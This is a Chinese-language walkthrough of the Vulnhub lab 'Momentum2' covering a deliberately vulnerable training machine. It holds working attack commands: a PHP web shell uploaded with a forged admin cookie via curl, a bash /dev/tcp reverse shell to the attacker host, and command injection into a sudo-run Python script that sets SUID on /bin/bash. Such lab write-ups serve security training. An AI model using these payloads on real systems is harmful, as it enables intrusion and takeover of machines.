当前位置: 首页 > news >正文

Vulnhub靶场案例渗透[11]- Momentum2

文章目录

  • 一、靶场搭建
    • 1. 靶场描述
    • 2. 下载靶机环境
    • 3. 靶场搭建
  • 二、渗透靶场
    • 1. 确定靶机IP
    • 2. 探测靶场开放端口及对应服务
    • 3. 扫描网络目录结构
    • 4. 代码审计
    • 5. 反弹shell
    • 6. 提权

一、靶场搭建

1. 靶场描述

- Difficulty : medium
- Keywords : curl, bash, code reviewThis works better with VirtualBox rather than VMware

中等难度的靶场,提示了渗透靶场的关键为curl和代码审计。

2. 下载靶机环境

靶场源地址点击跳转,点击图中标注处下载靶场源文件。

image.png

下载完成的文件如下:

image.png

一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

3. 靶场搭建

使用VMware打开对应的ova文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网络模式为NAT模式,然后点击启动就行。

image.png

如果你使用vmware启动靶机之后,发现靶机没有自动分配ip,可以参考这个文章进行解决。 解决虚拟机未被自动分配ip

二、渗透靶场

1. 确定靶机IP

确定靶机IP的步骤:

  1. 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
  2. nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24

image.png

通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为192.168.37.132.

2. 探测靶场开放端口及对应服务

探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。

# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.132

结果图:
image.png

可以确认主机开放了8022端口,分别对应http服务和ssh服务,使用浏览器访问http服务。发现首页是几张非常漂亮的图片。

image.png

3. 扫描网络目录结构

通过dirsearch扫描对应网站的目录结构,看是否能在其中找到什么敏感文件或目录。这次使用了默认字典和指定字典进行扫描.

# 指定字典
sudo dirsearch -u "192.168.37.132" -x 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# 默认字典扫描
sudo dirsearch -u "192.168.37.132" -x 404

指定字典的扫描结果
image.png

默认字典的结果
image.png

从目录扫描结果发现了一个dashboard.html存在文件上传功能,并且从页面提示信息来看,上传的文件会保存在owls目录下,经过上传一个txt进行验证确实如此,但并不支持直接上传php文件以及ptml文件,推测代码进行了上传文件类型限制。

4. 代码审计

首先查看前端上传文件代码,看是否是前端做了限制。具体上传文件逻辑代码存放在js/main.js中,分析过后并不是前端代码做的限制,同时也知道上传文件对应的api接口为ajax.php

image.png

要想上传php文件,现在需要知道后台具体的代码逻辑,然后尝试进行限制绕过。在找寻上传文件代码内容时发现ajax.php.bak文件,应该是ajax.php的备份文件。通过wget将文件下载,分析对应代码逻辑,发现请求中包含指定cookie键值对和secure参数就能上传php文件了,同时代码中提示实际cookie这个文件中指定字符串多一位大写字符串在末尾。接下来进行暴力进行尝试就行。

   //ajax.php备份文件内容//The boss told me to add one more Upper Case letter at the end of the cookieif(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){//[+] Add if $_POST['secure'] == 'val1d'$valid_ext = array("pdf","php","txt");}else{$valid_ext = array("txt");}// Remember success upload returns 1  

多次尝试之后发现cookie末尾是添加了R大写字符,通过如下curl命令成功将php恶意文件上传。

curl -X POST http://192.168.37.132/ajax.php -F "file=@/opt/baji/momentum2/test.php" -H "Cookie:admin=&G6u@B6uDXMq&MsR" -F "secure=val1d"
//test.php内容
<?php
echo $_GET["cmd"];
system($_GET["cmd"]);
?>

5. 反弹shell

将指定恶意php代码上传到靶机之后,利用代码进行反弹shell。反弹shell利用的bash命令如下,将这个命令通过参数传递时需要使用urlencode进行编码。可以参考下面我给出的python代码。

# 反弹shell命令
/bin/bash -c "bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1"# kali攻击机监听反弹shell
nc -lvp $TARGET_PORT
import urllib.parse
import sys
import file_utildef urlencode_string(content):'''url编码:param content::return:'''if content:return urllib.parse.quote(content, safe="")def urldecode_string(content):'''url编码还原:param content::return:'''if content:return urllib.parse.unquote(content)if __name__ == "__main__":if len(sys.argv) != 2:print("Usage: python *.py filepath")sys.exit(0)file_path = sys.argv[1]content = file_util.get_file_content(file_path)if not content:print("file don't have content")sys.exit(0)print(urlencode_string(content))

参数进行编码之后,kali开启监听,浏览器发起请求,成功获取反弹shell。

image.png

6. 提权

获取到用户shell之后,在athena家目录下发现了他的的密码和user的flag。使用password-reminder.txt中进行登录时,发现密码错误,后面才知道[Asterisk]代表 * 号(英文名)。对应密码为myvulnerableapp*

image.png

进行ssh登录。

image.png

获取到athena的用户权限之后,使用sudo -l命令,发现当前用户可以无密码以root身份执行python代码。分析代码逻辑,最后会将用户输入的字符串,通过cmd执行,利用这点,执行的时候传入一个恶意的字符串,这种场景下你提权可以采用思路:反弹shell/bin/bash增加suid位更改root用户密码等等。

image.png

image.png

下面是两种比较容易利用方式.提权之后获取到root身份以及root目录下的flag。

# 1. 反弹shell,kali攻击机监听
1; bash -c "bash -i >& /dev/tcp/192.168.37.22/8888 0>&1"; echo 1
# 2. 给/bin/bash添加 suid位, 执行完成之后使用 /bin/bash -p 获取
1; chmod +s /bin/bash; echo 1

image.png

http://www.lryc.cn/news/487988.html

相关文章:

  • STM32设计防丢防摔智能行李箱-分享
  • Vue Mixin混入机制
  • 数据库类型建表
  • iOS 18 导航栏插入动画会导致背景短暂变白的解决
  • 深度学习之人脸检测
  • 解决前后端发版本时候,手动清除浏览器缓存
  • mysql8.4+mysql router读写分离
  • 鸿蒙NEXT开发-用户通知服务的封装和文件下载通知
  • RHCE——系统的延迟任务及定时任务
  • ForEach刷新UI机制
  • 机器学习(贝叶斯算法,决策树)
  • 实验十三 生态安全评价
  • 二级等保要求及设备有哪些?
  • 无人机的动力系统节能——CKESC电调小课堂12
  • 人机打怪小游戏(非常人机)
  • SpringBoot 集成 Sharding-JDBC(一):数据分片
  • django-ninja 实现cors跨域请求
  • 【论文阅读】InstructPix2Pix: Learning to Follow Image Editing Instructions
  • 常用在汽车PKE无钥匙进入系统的高度集成SOC芯片:CSM2433
  • 【第四课】rust声明式宏理解与实战
  • 渗透测试--Linux下的文件传输方法
  • 浅议Flink中的通讯工具: Akka
  • 基于YOLOv8深度学习的独居老人情感状态监护系统(PyQt5界面+数据集+训练代码)
  • Qt添加外部库:静态库和动态库,批量添加头文件
  • Unity类银河战士恶魔城学习总结(P132 Merge skill tree with skill Manager 把技能树和冲刺技能相组合)
  • Docker入门之Windows安装Docker初体验
  • DNS实验作业
  • CSS回顾-CSS选择器详解
  • FFMPEG录像推流时遇到的问题
  • 【STM32+K210项目】基于K210智能人脸识别+车牌识别系统(完整工程资料源码)